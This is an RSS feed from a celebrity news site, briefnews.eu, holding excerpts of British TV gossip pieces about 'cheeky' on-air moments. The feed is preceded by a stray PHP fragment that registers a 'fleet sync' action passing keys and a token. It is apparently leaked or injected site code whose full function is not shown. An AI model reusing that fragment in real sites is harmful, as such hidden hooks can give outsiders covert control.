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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); cheeky – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 29 Oct 2020 21:43:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png cheeky – Brief News https://briefnews.eu 32 32 Naga Munchetty leaves David Jason flustered as she makes cheeky naked joke ‘Blimey!’ https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/ https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/#respond Thu, 29 Oct 2020 21:43:45 +0000 https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/

Only Fools and Horses legend David Jason appeared via video link from his home in Aylesbury this morning to speak with Naga Munchetty and Charlie Stayt on BBC Breakfast. The trio had plenty to talk about, from David’s new book to his career at the BBC. However, when the conversation turned to the fact the actor had his helicopter pilot’s license, Naga shocked everyone with a rude joke.

The moment came as the interview neared its close and Naga probed the actor on being nervous when he takes to the skies.

“Because you’re 80 now, which you make very clear in the book,” Naga began.

“And you’ve had a very subdued birthday and I won’t ask you where you went because you refuse to say where you went for your birthday with your wife and daughter because you don’t want to reveal the restaurant because you’re being selfish about it, basically,

“But, when you had your test for the helicopter licence, the record is held by an 87-year-old at the moment, do you get the nervous feeling?”

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Naga managed to regain composure as she eventually got her question out.

“You obviously want to keep flying, do you ever get that nervous feeling?”

“Well, yes, of course,” David told the presenter. “You’re absolutely right.”

The actor then went on to detail all the complexities that arise when taking on the pilot’s test.

BBC Breakfast viewers were delighted to see the 80-year-old back on their screens, with one saying on Twitter: “@BBCBreakfast brilliant interview with Sir David Jason, I had to rewind it back on iPlayer to see it all.”

A second agreed: “What a wonderful interview on @BBC Breakfast with Sir David Jason this morning. Worth watching if you’re a fan.”

“Who doesn’t love David Jason, TV legend,” weighed in a third.

BBC Breakfast continues daily at 6am on BBC One.

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]]> https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/feed/ 0 A Place In The Sun: Danni Menzies leaves buyer in tears with response to ‘cheeky’ offer https://briefnews.eu/a-place-in-the-sun-danni-menzies-leaves-buyer-in-tears-with-response-to-cheeky-offer/ https://briefnews.eu/a-place-in-the-sun-danni-menzies-leaves-buyer-in-tears-with-response-to-cheeky-offer/#respond Mon, 12 Oct 2020 22:29:41 +0000 https://briefnews.eu/a-place-in-the-sun-danni-menzies-leaves-buyer-in-tears-with-response-to-cheeky-offer/

Marie excitedly screamed while Chris broke down in tears at the news. 

“I’m b****y crying,” he admitted as Marie said: “He’s crying, isn’t it lovely. What’s getting you emotional?”

“Just seeing you so happy,” Chris replied. 

Danni remarked: “He’s such a romantic, aren’t you? I love it.”

A Place in the Sun airs weekdays on Channel 4 at 3pm.

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]]> https://briefnews.eu/a-place-in-the-sun-danni-menzies-leaves-buyer-in-tears-with-response-to-cheeky-offer/feed/ 0 Kate Garraway red-faced after Ben’s cheeky comment about guest’s jugs ‘I’m not staring!’ https://briefnews.eu/kate-garraway-red-faced-after-bens-cheeky-comment-about-guests-jugs-im-not-staring/ https://briefnews.eu/kate-garraway-red-faced-after-bens-cheeky-comment-about-guests-jugs-im-not-staring/#respond Fri, 09 Oct 2020 09:39:24 +0000 https://briefnews.eu/kate-garraway-red-faced-after-bens-cheeky-comment-about-guests-jugs-im-not-staring/

“Kate you know usually I have my jugs on display when I come on Good Morning Britain,” Jacqui explained.

“You’re absolutely right Jacqui,” Ben remarked. 

“I’ve never noticed that,” Kate quipped. “I’m listening to what she has to say. I’m not staring at her jugs.”

Once the interview had come to an end, Ben said: “I can’t believe you never noticed Jacqui’s jugs.”

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]]> https://briefnews.eu/kate-garraway-red-faced-after-bens-cheeky-comment-about-guests-jugs-im-not-staring/feed/ 0 James Martin scolds Saturday Morning guest after cheeky request ‘Pack it in!’ https://briefnews.eu/james-martin-scolds-saturday-morning-guest-after-cheeky-request-pack-it-in/ https://briefnews.eu/james-martin-scolds-saturday-morning-guest-after-cheeky-request-pack-it-in/#respond Sat, 03 Oct 2020 13:40:30 +0000 https://briefnews.eu/james-martin-scolds-saturday-morning-guest-after-cheeky-request-pack-it-in/

“That roman lettuce, that coriander,” Francesco listed. “Where’s the coriander from?”

“Vietnamese coriander,” James confirmed before warning Francesco to keep his hands to himself. 

“This is amazing,” Francesco added as the TV chef hit out: “Alright, keep your eye off it.”

“It’s not pick and mix, pack it in,” James playfully scolded. 

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]]> https://briefnews.eu/james-martin-scolds-saturday-morning-guest-after-cheeky-request-pack-it-in/feed/ 0 Antiques Roadshow expert makes cheeky request after uncovering sculpture’s huge valuation https://briefnews.eu/antiques-roadshow-expert-makes-cheeky-request-after-uncovering-sculptures-huge-valuation/ https://briefnews.eu/antiques-roadshow-expert-makes-cheeky-request-after-uncovering-sculptures-huge-valuation/#respond Tue, 08 Sep 2020 11:19:04 +0000 https://briefnews.eu/antiques-roadshow-expert-makes-cheeky-request-after-uncovering-sculptures-huge-valuation/

“Yes Ben Nicholson, Barbara Hepworth, Peter Lanyon,” she replied. 

“Fantastic because he’s a major figure now and the St Ives group in the 40s. Barbara Hepworth and he worked in her studio, didn’t he?” Dendy asked. 

“He worked for her for 10 years as her assistant,” the guest confirmed. 

“And then in the 50s he started sculpting because he was, in fact, a painter to start with, wasn’t he?” Dendy added.

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]]> https://briefnews.eu/antiques-roadshow-expert-makes-cheeky-request-after-uncovering-sculptures-huge-valuation/feed/ 0 James Martin calls Eamonn Holmes ‘chunky and a bit thick’ in cheeky This Morning swipe https://briefnews.eu/james-martin-calls-eamonn-holmes-chunky-and-a-bit-thick-in-cheeky-this-morning-swipe/ https://briefnews.eu/james-martin-calls-eamonn-holmes-chunky-and-a-bit-thick-in-cheeky-this-morning-swipe/#respond Tue, 28 Jul 2020 01:15:48 +0000 https://briefnews.eu/james-martin-calls-eamonn-holmes-chunky-and-a-bit-thick-in-cheeky-this-morning-swipe/

“Or alternatively, you can have the Eamonn Holmes fish finger sandwich,” he snapped, as he threw a spare fish finger onto a plate and sandwiched it between two pieces of bread, slamming around the kitchen as he went.

Ruth giggled nervously and moved on to compliment to the chef for his efforts: “Yours is beautifully presented James, it looks lovely.”

But Eamonn wasn’t done there: “That’s the fattest fish finger I’ve ever seen,” he mocked the modern take on the British classic.

James could be heard in the background still seething at the insult on his masterpiece: “Oh, he likes a bit of ketchup on that,” he mimicked, as he squirted the red sauce all over the messy plate.

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]]> https://briefnews.eu/james-martin-calls-eamonn-holmes-chunky-and-a-bit-thick-in-cheeky-this-morning-swipe/feed/ 0 Naga Munchetty shut down by cheeky WWII veteran: ‘I can’t say a word back’ https://briefnews.eu/naga-munchetty-shut-down-by-cheeky-wwii-veteran-i-cant-say-a-word-back/ https://briefnews.eu/naga-munchetty-shut-down-by-cheeky-wwii-veteran-i-cant-say-a-word-back/#respond Fri, 10 Apr 2020 12:41:49 +0000 https://briefnews.eu/naga-munchetty-shut-down-by-cheeky-wwii-veteran-i-cant-say-a-word-back/

BBC Breakfast’s Naga wanted to find out if Captain Tom had any advice for viewers as the coronavirus pandemic continues and people struggle with the lockdown. However, she wasn’t expecting the veteran’s rather cheeky response as he admitted it was nice to be given a chance to speak.

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Naga asked: “Tom, firstly I’m going to say thank you for being so kind to us this morning.

“Secondly, I’m going to ask you for some words of wisdom at this time in the morning.

“Just reading all of the things you’ve done; in the second world war you rose to the rank of captain, you’ve seen fighting in India and Burma, you were an instructor at the armoured vehicle school in Bovingdon, you’ve trained regiments in how to use tanks.

“You have lived, and you have seen some tough times in this country, can you inspire people who are watching now, just reassure them, it will be fine.”

READ MORE: Charlie Stayt’s appearance leaves BBC Breakfast viewers distracted

Detailing his morning routine, he explained: “My daily routine I get up quite early and listen to Naga and Charlie when they give out their news and I’m taking aback by the appearance of both of them.

“How they can manage to look absolutely perfect – full marks both of them. They are looking so super so early in the morning.”

Tom has recovered from a broken hip and skin cancer and was full of kind words for the NHS.

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]]> https://briefnews.eu/naga-munchetty-shut-down-by-cheeky-wwii-veteran-i-cant-say-a-word-back/feed/ 0 Love Island 2019: Iain Stirling takes cheeky Strictly Come Dancing swipe in Curtis moment https://briefnews.eu/love-island-2019-iain-stirling-takes-cheeky-strictly-come-dancing-swipe-in-curtis-moment/ https://briefnews.eu/love-island-2019-iain-stirling-takes-cheeky-strictly-come-dancing-swipe-in-curtis-moment/#respond Tue, 02 Jul 2019 00:37:08 +0000 http://briefnews.eu/love-island-2019-iain-stirling-takes-cheeky-strictly-come-dancing-swipe-in-curtis-moment/

Tonight’s edition was a heartbreaking one for many involved, as lots of established couples on the ITV2 show seemed to be breaking down.

Love Island favourites Amber Gill and Michael Griffiths are weaker than ever as the latter admitted his head had been turned by newcomer Joanna Chiminides.

But perhaps the most surprising twist was good guy Curtis’ admission he thought there must be “something missing” in his relationship with Amy Hart.

As the ballroom dancer mulled over his problems however, Iain couldn’t help but make a cheeky joke about Strictly Come Dancing and potentially other dance competitions, comparing Curtis’ issues to those on the show. 

“What’s that Curtis? A dancer thinking about changing their partner in the middle of a show?

“Very unprofessional darling,” he teased.

As the camera angle shifted to spy Michael getting closer to Joanna in the garden, Iain also addressed the firefighter’s changing feelings.

“And you may not be the only one, eh Michael…” he teased.

The episode also saw worrying cracks begin to show in Tommy Fury and Molly-Mae Hague’s relationship in the show.

READ MORE: Love Island 2019: Michael infuriates viewers as he kisses Joanna

Both villas went head-to-head to win a party, with all the boys and girls having to perform various romantic and steamy acts with each other.

But when the first task was announced things turned awkward fast.

Social media influencer Molly-Mae was tasked with snogging Dan Rose, as the pair were the youngest contestants in the villa.

Grimacing throughout, Molly was clearly forcing herself to get stuck in for the game, and the kiss was over very quickly.

Unfortunately it wasn’t long before Molly-Mae realised 20-year-old boxer Tommy was also the youngest boy at the original villa, and he could be kissing another girl.

Molly-Mae was fuming about the challenge and went quiet in her garden chair.

When it was revealed Tommy won the challenge and he snogged the youngest girl in the quickest time, Molly-Mae told the beach hut she was “seething”.

The next task saw the islander ordered to snog both Dan and Stevie underwater in the swimming pool, which caused plenty of theatrics for the other contestants.

While Tommy and Molly-Mae seem to have gotten over their hurdle, will Curtis and Amy manage to do the same?

Love Island 2019 continues tomorrow at 9pm on ITV2.

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]]> https://briefnews.eu/love-island-2019-iain-stirling-takes-cheeky-strictly-come-dancing-swipe-in-curtis-moment/feed/ 0 BBC News: ‘That’s mean!’ Naga Munchetty scolds Charlie Stayt over cheeky swipe https://briefnews.eu/bbc-news-thats-mean-naga-munchetty-scolds-charlie-stayt-over-cheeky-swipe/ https://briefnews.eu/bbc-news-thats-mean-naga-munchetty-scolds-charlie-stayt-over-cheeky-swipe/#respond Fri, 28 Jun 2019 07:32:13 +0000 http://briefnews.eu/bbc-news-thats-mean-naga-munchetty-scolds-charlie-stayt-over-cheeky-swipe/

Naga, 44, and Charlie, 57, spoke with BBC Breakfast weather presenter Matt Taylor, 43, at various intervals during the show today.

Matt was reporting the weekend’s forecast from the infamous Confetti Farm in Worcestershire, surrounded by a number of colourful delphiniums.

After one particular weather update during the first hour of the BBC news programme this morning, Charlie thanked Matt before he and Naga were due to speak with business reporter Ben, 36.

Knowing the focus of Ben’s discussion would centre around the current Brexit news and how the UK’s deal with the European Union could affect the car manufacturing industry, Charlie made a jokey complaint about the upcoming segment.

“Matt, thank you very much,” Charlie said, before turning to the business reporter. “Doesn’t it look beautiful there and aren’t we going to come back to Earth with a bump with Ben’s story.”

Stunned by her co-host’s quip, Naga exclaimed: “That’s mean!” with Charlie awkwardly trying to explain himself as she and Ben chuckled away.

“Well, you know what I mean. It did look lovely there,” Charlie stated, before taking on a more serious tone and focusing on Ben’s report.

As the business news wrapped up, Charlie spoke about the digital car images which had appeared in front of the presenters whilst they were talking.

He asked: “Ben, just tell me, if all those cars all come across at the same time, is there going to be like a massive crash on the table here?”

With Naga in stitches at her co-host’s concerns about the digital images, Charlie continued: “I was really worried because they were coming in and I thought there was going to be some sort of an accident.”

Ben joked: “You were just worried about your coffee perched on the edge of the table, weren’t you?”

Later on in the programme, weather presenter Matt spoke with Charlie and Naga once again and the mood soon turned light-hearted once more.

Brining an end to the forecast in the middle of the Confetti Farm, Matt took a handful of the petals and threw them up in the air.

“It’s a bit sad to throw confetti at yourself by the way,” Matt told the presenters in the studio.

Naga joked: “No sadder than you usually are Matt. I wouldn’t worry,” before asking how tall the delphinium stalks were, taking a cheeky swipe at the forecasters height.

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]]> https://briefnews.eu/bbc-news-thats-mean-naga-munchetty-scolds-charlie-stayt-over-cheeky-swipe/feed/ 0 I’m A Celebrity 2018: Declan Donnelly makes VERY cheeky jibe toward Theresa May https://briefnews.eu/im-a-celebrity-2018-declan-donnelly-makes-very-cheeky-jibe-toward-theresa-may/ https://briefnews.eu/im-a-celebrity-2018-declan-donnelly-makes-very-cheeky-jibe-toward-theresa-may/#respond Fri, 07 Dec 2018 22:30:32 +0000 http://briefnews.eu/im-a-celebrity-2018-declan-donnelly-makes-very-cheeky-jibe-toward-theresa-may/

Dec hosted the ITV show live alongside Holly Willoughby today as usual.

The pair were providing a link through to footage of the latest trial, which saw I’m A Celebrity…Get Me Out Of Here! campmate Harry Redknapp take on “Repvile Centre”.

The football manager had to crawl through cages that were full of reptiles.

And naturally, the presenters saw the opportunity for a political joke.

Holly began: “Before the break, Harry found himself facing a cabinet full of vicious, cold-blooded creatures ready to attack at any moment.”

Dec then cheekily jumped in to say: “Evening Prime Minister.

“I won’t keep you probably wanna get back to negotiating Breakfast, ay?”

Earlier in the show after the campmates had enjoyed a hearty breakfast, Dec started referring to Brexit as “breakfast”.

Those watching at home were tickled by Dec’s cheeky jab and took to Twitter to comment.

“Love when @antanddec says ‘Evening, prime minister’ Missed that so much #ImACeleb,” one wrote.

“EVENING PRIME MINISTER #crying #ImACeleb,” a second added.

A third chimed in: “#imaceleb I may be wrong, but I think Dec’s making fun of Theresa May.”

Dec wasn’t the only one to make a Brexit reference on the show.

The five remaining stars had one of their loved ones visit for a surprise meeting.

And while it was an emotional affair for many of them, James had a pressing question for his girlfriend Kirstie.

James asked Kirstie how Brexit negotiations were going, to which she replied “no progress”, and viewers couldn’t believe it.

One shared: “Imagine not seeing your girlfriend for almost 2 weeks and asking her ‘what’s happened with brexit’ #imaceleb.”

“‘What’s happening with brexit?’ james omg #ImACeleb,” another wrote.

While a third observed: “Only James would see his girlfriend for the first time in a month and ask about brexit #imaceleb #teamjames.”

I’m A Celebrity…Get Me Out Of Here continues tomorrow at 9pm on ITV.

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